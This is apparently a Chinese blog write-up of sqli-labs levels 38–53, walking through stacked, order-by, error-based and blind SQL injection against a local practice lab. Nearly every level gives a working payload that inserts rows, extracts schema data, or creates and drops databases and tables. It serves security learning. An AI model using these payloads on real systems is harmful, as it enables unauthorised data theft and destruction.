sqli-labs项目地址:https://github.com/Audi-1/sqli-labs


文章目录

  • Less-38
  • Less-39
  • Less-40
  • Less-41
  • Less-42
  • Less-43
  • Less-44
  • Less-45
  • Less-46
  • Less-47
  • Less-48
  • Less-49
  • Less-50
  • Less-51
  • Less-52
  • Less-53


正文(堆叠注入)

Less-38

sqli-labs闯关笔记(Stacked Injections)_堆叠注入


使用了一系列执行mysql多条语句查询的函数,导致存在堆叠注入,但是因为源码中一般只返回预期结果,所以堆叠注入的结果回显或者报错就无法显示在前端页面,一般很难在黑盒测试的时候发现这种漏洞,但是堆叠注入的杀伤力比联合查询的杀伤力大多了,联合查询只能查询数据库中的内容,而堆叠注入可以使用任何mysql语句。比如增删改查之类的

使用堆叠注入向表中插入数据(假设已知库,表,字段名)

http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values(17,'test7','007')--+

sqli-labs闯关笔记(Stacked Injections)_Less_02


数据插入成功,后面想干嘛直接操作即可,不赘述

Less-39

sqli-labs闯关笔记(Stacked Injections)_堆叠注入_03


和上一关相比,这一关只改了对参数的处理方式,直接插入,没有使用任何符号包裹,无需闭合,比如使用堆叠注入创建一个数据库http://127.0.0.1/sqli-labs/Less-39/?id=1;create database You_are_hacked_by_m0c1nu7--+

sqli-labs闯关笔记(Stacked Injections)_sql_04

Less-40

sqli-labs闯关笔记(Stacked Injections)_sql_05


这一关应该是index.php,另外的几个文件和Less-24是一样的有一个任意用户密码重置的漏洞就不赘述了,直接看index.php

sqli-labs闯关笔记(Stacked Injections)_Less_06


和上一关区别是对id的处理,直接闭合,payload如下:

http://127.0.0.1/sqli-labs/Less-40/index.php?id=18');drop database you_are_hacked_by_m0c1nu7--+

sqli-labs闯关笔记(Stacked Injections)_sql_07

Less-41

sqli-labs闯关笔记(Stacked Injections)_php_08


还是只有包裹参数的方法改变了,没有单引号双号括号之类的直接插入即可http://127.0.0.1/sqli-labs/Less-41/index.php?id=1;insert into emails(id,email_id) values(9,'hacker@qq.com')--+

sqli-labs闯关笔记(Stacked Injections)_php_09

Less-42

sqli-labs闯关笔记(Stacked Injections)_sqli-labs_10


还是和Less-24一样的存在一个任意用户密码重置的漏洞,但是这一关我们看的是login.php的堆叠注入

sqli-labs闯关笔记(Stacked Injections)_Less_11


login_pasword处存在堆叠注入

login_user=admin&login_password=1';create table hacked_by_m0c1nu7 like users#

sqli-labs闯关笔记(Stacked Injections)_sql_12

Less-43

sqli-labs闯关笔记(Stacked Injections)_sql_13


和上一关相比,还是只改变了参数的包裹方式login_user=admin&login_password=1');drop table hacked_by_m0c1nu7#

sqli-labs闯关笔记(Stacked Injections)_php_14

Less-44

Less-44Less-43相比就是没有报错信息

sqli-labs闯关笔记(Stacked Injections)_堆叠注入_15


sqli-labs闯关笔记(Stacked Injections)_堆叠注入_16


没有报错,看不出闭合方式只能fuzz测试了login_user=admin&login_password=1';create table hacked_by_m0c1nu7 like users#

sqli-labs闯关笔记(Stacked Injections)_php_17

Less-45

sqli-labs闯关笔记(Stacked Injections)_sqli-labs_18


和上一关相比还是只改了参数的处理方式,闭合即可login_user=admin&login_password=1');drop table hacked_by_m0c1nu7#

sqli-labs闯关笔记(Stacked Injections)_php_19

Less-46

注入点为order by 排序的注入

sqli-labs闯关笔记(Stacked Injections)_堆叠注入_20


sqli-labs闯关笔记(Stacked Injections)_堆叠注入_21


使用盲注或者报错注入都可

布尔型盲注可以使用rand()rand(true)rand(false)的回显结果是不一样的

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

http://127.0.0.1/sqli-labs/Less-46/?sort=(select updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e))

Less-47

sqli-labs闯关笔记(Stacked Injections)_sqli-labs_22

http://127.0.0.1/sqli-labs/Less-47/?sort=1' and updatexml(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0x7e)--+

Less-48

sqli-labs闯关笔记(Stacked Injections)_堆叠注入_23


没有输出报错回显,盲注了或者如果有权限的话,尝试导入shell

http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)

Less-49

sqli-labs闯关笔记(Stacked Injections)_php_24


http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%2 0from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+

Less-50

order by stacked injections

sqli-labs闯关笔记(Stacked Injections)_堆叠注入_25


和前面的堆叠注入一样的手段http://127.0.0.1/sqli-labs/Less-50/?sort=1;create table hacked_by_m0c1nu7 like users--+

sqli-labs闯关笔记(Stacked Injections)_sqli-labs_26

Less-51

sqli-labs闯关笔记(Stacked Injections)_Less_27


和上一关一样的套路,这一关只是关闭了前台报错,对参数加了一个单引号http://127.0.0.1/sqli-labs/Less-51/?sort=1';drop table hacked_by_m0c1nu7--+

sqli-labs闯关笔记(Stacked Injections)_sql_28

Less-52

sqli-labs闯关笔记(Stacked Injections)_php_29


关闭了所有报错,没有任何符号包裹参数,姿势还是和上一关一样http://127.0.0.1/sqli-labs/Less-52/?sort=1;create table hacked_by_m0c1nu7 like users--+

sqli-labs闯关笔记(Stacked Injections)_sqli-labs_30

Less-53

sqli-labs闯关笔记(Stacked Injections)_堆叠注入_31


Less-53一样的姿势http://127.0.0.1/sqli-labs/Less-53/?sort=1';drop table hacked_by_m0c1nu7--+

sqli-labs闯关笔记(Stacked Injections)_php_32